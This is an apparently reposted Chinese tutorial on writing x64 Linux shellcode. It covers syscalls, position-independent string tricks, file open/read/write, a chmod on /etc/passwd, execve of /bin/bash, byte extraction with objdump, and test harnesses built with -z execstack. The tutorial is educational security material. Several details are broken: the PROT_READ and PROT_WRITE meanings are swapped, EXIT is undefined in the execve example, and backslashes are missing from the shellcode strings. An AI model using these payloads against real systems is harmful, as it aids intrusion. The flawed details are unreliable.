亚洲视频二区_亚洲欧洲日本天天堂在线观看_日韩一区二区在线观看_中文字幕不卡一区

公告:魔扣目錄網(wǎng)為廣大站長提供免費收錄網(wǎng)站服務(wù),提交前請做好本站友鏈:【 網(wǎng)站目錄:http://www.430618.com 】, 免友鏈快審服務(wù)(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

本篇主要是以x64系統(tǒng)為例對系統(tǒng)調(diào)用中一些功能性函數(shù)的解讀和實際運用。目前網(wǎng)絡(luò)上流傳的通用shellcode,均使用系統(tǒng)調(diào)用實現(xiàn),在記錄整個學(xué)習(xí)過程的同時分享給大家一起學(xué)習(xí)探討。

 

0x01 Shellcode 簡介

0x1 shellcode

Shellcode 是一段可以執(zhí)行特定功能的特殊匯編代碼,在設(shè)備漏洞利用過程中注入到目標(biāo)程序中從而被執(zhí)行,在比賽或者是實戰(zhàn)中棧溢出漏洞使用的更為頻繁,編寫Shellcode比編寫RopGagdet更為簡單,棧溢出的最經(jīng)典的利用方式是Ret2Shellcode。

0x2 exploit 與 shellcode關(guān)系

exploit主要強調(diào)執(zhí)行控制權(quán),而shellcode更關(guān)注于有了控制權(quán)之后的功能。因此shellcode更像是exploit的載荷,往往對于不同漏洞來講exploit是特殊的,而shellcode會具有一些通用性。

 

0x02 使用條件

對 shellcode 有了大概的了解之后,看一看其使用場景。一般來說這三點是必備條件,缺一不可,通過控制程序流程跳轉(zhuǎn)到shellcode地址上去。

0x1 擁有程序控制權(quán)

這一點毋庸置疑,可以通過棧溢出或者是格式化字符串,堆溢出等漏洞劫持程序的執(zhí)行流。所以shellcode等的定位是漏洞觸發(fā)之后的漏洞利用,主要負(fù)責(zé)實現(xiàn)攻擊者的攻擊目的。

0x2 擁有shellcode地址

不論是程序擁有隨機化還是固定基地址,都需要在跳轉(zhuǎn)之前獲取shellcode存儲地址,一般采用的技巧是

  • 在程序bss段固定,且程序地址不隨機
  • shellcode為程序正常功能輸入,在寄存器中保存有其地址
  • 在堆棧附近存在與shellcode地址相關(guān)聯(lián)地址

0x3 shellcode在可執(zhí)行內(nèi)存空間

最后跳轉(zhuǎn)到shellcode地址上后需要有可執(zhí)行權(quán)限才能執(zhí)行。但通常程序開啟NX保護(hù)后,其內(nèi)存空間禁止代碼執(zhí)行,這是只能通過mprotect函數(shù)修改shellcode內(nèi)存權(quán)限,賦予可執(zhí)行權(quán)限后再跳轉(zhuǎn)。一般利用 RopGagdet 布局mprotect 函數(shù)修改內(nèi)存權(quán)限。

帶你玩轉(zhuǎn) Linux Shellcode

 

重點關(guān)注兩個方面 start地址和prot取值

1 起始地址

需要指出的是,鎖指定的內(nèi)存區(qū)間必須包含整個內(nèi)存頁(4K)。區(qū)間開始的地址start必須是一個內(nèi)存頁的起始地址,并且區(qū)間長度len必須是頁大小的整數(shù)倍。

2 prot賦值

prot可以取以下幾個值,并且可以用“|”將幾個屬性合起來使用,括號中的數(shù)字是在預(yù)編譯的時候替換的真實值:

1)PROT_READ(1):表示內(nèi)存段內(nèi)的內(nèi)容可寫;
2)PROT_WRITE(2):表示內(nèi)存段內(nèi)的內(nèi)容可讀;
3)PROT_EXEC(4):表示內(nèi)存段中的內(nèi)容可執(zhí)行;
4)PROT_NONE(0):表示內(nèi)存段中的內(nèi)容根本沒法訪問。

 

0x03 編寫技巧

打算從系統(tǒng)調(diào)用函數(shù)、字符串設(shè)計、代碼模板、shellcode提取這幾個發(fā)面著手寫這部分內(nèi)容,主要解決以下三大問題:

  • 對系統(tǒng)調(diào)用函數(shù)不熟悉,特別是為參數(shù)賦值問題撓頭
  • 對匯編代碼編寫不熟悉,解決寄存器和內(nèi)存應(yīng)用問題
  • 對匯編代碼編譯不熟悉,解決怎么從編譯好的匯編程序中完整提取shellcode問題

0x1 系統(tǒng)調(diào)用函數(shù)

提到shellcode 就不得不說系統(tǒng)調(diào)用,我們首先考慮為什么要寫shellcode,其目的是執(zhí)行一些程序本身不具備的功能,實現(xiàn)攻擊者的攻擊目的。湊巧的是在匯編語言中有這么一些函數(shù)調(diào)用基本可以實現(xiàn)所有功能,我們稱他們?yōu)橄到y(tǒng)調(diào)用函數(shù),通過系統(tǒng)調(diào)用可以直接訪問系統(tǒng)內(nèi)核,具有非常強大的功能。

帶你玩轉(zhuǎn) Linux Shellcode

 

詳細(xì)的系統(tǒng)調(diào)用表網(wǎng)址如下

https://filippo.io/linux-syscall-table/
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/9.4_linux_syscall.html

系統(tǒng)調(diào)用 在匯編代碼中表示為syscall(int 0x80)指令,32和64位系統(tǒng)有所區(qū)別,二者有單獨調(diào)用表。

0x2 巧取字符串

初步認(rèn)識shellcode的編寫技巧,先從最簡單的例子看起,下面代碼如果當(dāng)作匯編語言執(zhí)行是完全沒有問題的,但是如果做為shellcode的話還是差點火候。這里用兩種方法規(guī)避這種錯誤:

section .data
    WRITE equ 1
    EXIT  equ 60
    MESSAGE db "Hello", 0xa
section .text
    global _start

_start:
    mov     rax, WRITE
    mov     rdi, 1
    mov     rsi, MESSAGE
    mov     rdx, 5
    syscall
    jmp exit

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

編譯指令如下

nasm -g -f elf64 -o asm.o asm.s
ld -o asm asm.o

編譯過后可以發(fā)現(xiàn)字符串位于data段,指針利用的是絕對地址,在shellcode中是不能出現(xiàn)絕對地址,這也是shellcode的頭等大忌。

帶你玩轉(zhuǎn) Linux Shellcode

 

1 方法一

利用call指令壓棧的特性,將字符串的地址壓棧之后再pop到寄存器中,在shellcode編寫中是一種非常常用的方法。我們可以看到字符串緊跟在call指令之后,因為call壓棧就是壓的下一條指令的地址,此地址正好為字符串地址。

section .data
    WRITE equ 1
    EXIT  equ 60
section .text
    global _start

_start:
    mov     rax, WRITE
    mov     rdi, 1
    jmp     getstring
string:
    pop     rsi
    mov     rdx, 5
    syscall
    jmp exit

getstring:
    call string
    MESSAGE db "Hello", 0xa

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

2 方法二

同時也是利用棧的特性,將字符串計算過大小,以及分割完畢之后就可以分撥壓進(jìn)棧中,保存最后的esp值就可以實現(xiàn)字符串地址的獲取。

section .data
    WRITE equ 1
    EXIT  equ 60
    MESSAGE db "Hello", 0xa
section .text
    global _start
_start:
    mov     rax, WRITE
    mov     rdi, 1
    mov     rsi,0x00000a6f6c6c6548
    push    rsi    
    mov     rsi, rsp
    mov     rdx, 5
    syscall
    jmp exit

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

0x3 文件讀

1 sys_open

文件讀寫都需要涉及打開文件操作,是通過內(nèi)核提供的系統(tǒng)調(diào)用sys_open來實現(xiàn)的。具體參數(shù)如下:

asmlinkage long sys_open(const char __user *filename, int flags, int mode)
帶你玩轉(zhuǎn) Linux Shellcode

 


帶你玩轉(zhuǎn) Linux Shellcode

 

這里需要注意在文件操作之后,需要利用close函數(shù)關(guān)閉文件描述符。分別介紹flags和mode參數(shù)取值,flags表示在打開文件時標(biāo)志屬性,mode為在創(chuàng)建文件的時候文件屬性。

flags
表示只讀、只寫和創(chuàng)建。如果想賦予多個屬性可以用|鏈接類似于 O_WRONLY|O_CREAT

帶你玩轉(zhuǎn) Linux Shellcode

 

mode
mode 相關(guān)取值表如下,值得注意是mode的表示為8進(jìn)制,也就是說 777 的rwxrwxrwx 權(quán)限是8進(jìn)制數(shù)。用下面的 屬性標(biāo)示為 S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IXGRP|S_IROTH|S_IWOTH|S_IXOTH

帶你玩轉(zhuǎn) Linux Shellcode

 


打開文件用匯編表示為

section .data
    OPEN equ 2
    EXIT  equ 60
    FILENAME db "test", 0x00
section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 2
    mov     rdx, 666
    syscall
    jmp exit
exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

2 sys_read

帶你玩轉(zhuǎn) Linux Shellcode

 

section .data
    OPEN equ 2
    READ equ 0
    EXIT  equ 60
    FILENAME db "xxx", 0x00
    BUFFER db "11111"
section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 2
    mov     rdx, 511
    syscall

    mov     rdi, rax
    mov     rax, READ
    mov     rsi, BUFFER
    mov     rdx, 8
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

上述代碼中xxx為二進(jìn)制文件,如下圖成功讀出elf內(nèi)容:

帶你玩轉(zhuǎn) Linux Shellcode

 


帶你玩轉(zhuǎn) Linux Shellcode

 

0x4 文件寫

open 操作與之前一樣,新增write操作,相關(guān)系統(tǒng)調(diào)用參數(shù)如下:

帶你玩轉(zhuǎn) Linux Shellcode

 

section .data
    OPEN equ 2
    EXIT  equ 60
    FILENAME db "hehe", 0x00

section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 65
    mov     rdx, 511
    syscall
    mov     rdi, rax
    jmp wirte

wirte:
    mov     rsi, FILENAME
    mov     rdx, 4
    syscall
    jmp exit
exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

0x5 權(quán)限修改

在linux中權(quán)限修改利用chmod指令,在系統(tǒng)調(diào)用的時候采用的sys_chmod函數(shù)

帶你玩轉(zhuǎn) Linux Shellcode

 

在分析open函數(shù)時有討論mode的取值,這里就不再分析
有時在shellcode中需要修改程序的權(quán)限

#include <sys/types.h>
#include <sys/stat.h>
main()
{
    chmod("/etc/passwd", S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
}
section .data
    CHMOD equ 90
    EXIT  equ 60
    FILENAME db "xxx", 0x00
section .text
    global _start
_start:
    mov     rax, CHMOD
    mov     rdi, FILENAME
    mov     rsi, 511
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

0x6 命令執(zhí)行

system函數(shù)中的命令執(zhí)行用的是syscall execve系統(tǒng)調(diào)用。其參數(shù)格式如下

帶你玩轉(zhuǎn) Linux Shellcode

 

調(diào)試system函數(shù)內(nèi)部的參數(shù)調(diào)用可以看出rax是系統(tǒng)調(diào)用號,rdi是filename,rsi是字符串?dāng)?shù)組

帶你玩轉(zhuǎn) Linux Shellcode

 

字符串?dāng)?shù)組內(nèi)存布局如下

帶你玩轉(zhuǎn) Linux Shellcode

 

section .data
    EXECVE equ 59
    FILENAME db "/bin/bash", 0x00
section .text
    global _start
_start:
    mov     rax, EXECVE
    mov     rdi, FILENAME
    mov     rsi, 0
    mov     rdx, 0
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

0x7 shellcode 提取技巧

這里參照 https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' ' | tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
帶你玩轉(zhuǎn) Linux Shellcode

 

 

0x04 驗證技巧

走到這一步的大哥們都已經(jīng)編好了自己的shellcode,開始磨刀霍霍向牛羊了,這里介紹兩種常用的檢查shellcode功能的方法,內(nèi)聯(lián)匯編和函數(shù)指針。

0x0 關(guān)閉棧不可執(zhí)行

因為在測試時,shellcode在bss段,在關(guān)閉NX編譯選項之后bss段也擁有了可執(zhí)行屬性,具體操作如下。

注意在編譯的時候加上 -z execstack

gcc -o test test.c -z execstack
帶你玩轉(zhuǎn) Linux Shellcode

 


帶你玩轉(zhuǎn) Linux Shellcode

 

0x1 內(nèi)聯(lián)匯編

在linux 下的C語言中主要采用的是 att格式的匯編,這里有個坑,一開始沒接觸c內(nèi)聯(lián)att格式匯編的小盆友們要注意了jmp eax的寫法為jmp *%rax

#include<stdio.h>
char shellcode[] = "xb8x01x00x00x00xbfx01x00x00x00xebx0ax5exbax05x00x00x00x0fx05xebx0bxe8xf1xffxffxffx48x65x6cx6cx6fx0axb8x3cx00x00x00xbfx00x00x00x00x0fx05";
int main(int argc, char **argv)
{
        __asm__("lea shellcode,%eax;jmp *%rax");
       return 0;
}

如圖中代碼所示,rip已經(jīng)指向jmp rax指令此時的rax就是shellcode那段字符串的地址。因為這段內(nèi)存擁有可執(zhí)行,最后成功執(zhí)行shellcode。

帶你玩轉(zhuǎn) Linux Shellcode

 

0x2 函數(shù)指針

第二種方法大同小異,也是將shellcode放在程序的bss段上,利用之前的編譯指令編好后調(diào)試。

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "xb8x01x00x00x00xbfx01x00x00x00xebx0ax5exbax05x00x00x00x0fx05xebx0bxe8xf1xffxffxffx48x65x6cx6cx6fx0axb8x3cx00x00x00xbfx00x00x00x00x0fx05";
int main(void)
{
    int (*func)() = (int(*)())shellcode;
    func();
}
帶你玩轉(zhuǎn) Linux Shellcode

 

在上述匯編代碼中可以看出將shellcode 的地址賦值給了rdx寄存器,后續(xù)直接call調(diào)用。

 

0x05 總結(jié)

簡單的記錄了常見shellcode功能編寫測試方法,本文介紹的還是比較寬泛,也只針對64位系統(tǒng)進(jìn)行分析,之后會把其他架構(gòu)還有x86的利用方式慢慢補齊,還請大佬們多指點指點。

 

0x06 參考文獻(xiàn)

https://filippo.io/linux-syscall-table/
https://xz.aliyun.com/t/2052
http://www.vividmachines.com/shellcode/shellcode.html
https://blog.csdn.net/littlehedgehog/article/details/2653743

 

歡迎登錄安全客 -有思想的安全新媒體www.anquanke.com/加入交流群113129131 獲取更多最新資訊

原文鏈接: https://www.anquanke.com/post/id/216207

分享到:
標(biāo)簽:Linux Shellcode
用戶無頭像

網(wǎng)友整理

注冊時間:

網(wǎng)站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨大挑戰(zhàn)2018-06-03

數(shù)獨一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學(xué)四六

運動步數(shù)有氧達(dá)人2018-06-03

記錄運動步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績評定2018-06-03

通用課目體育訓(xùn)練成績評定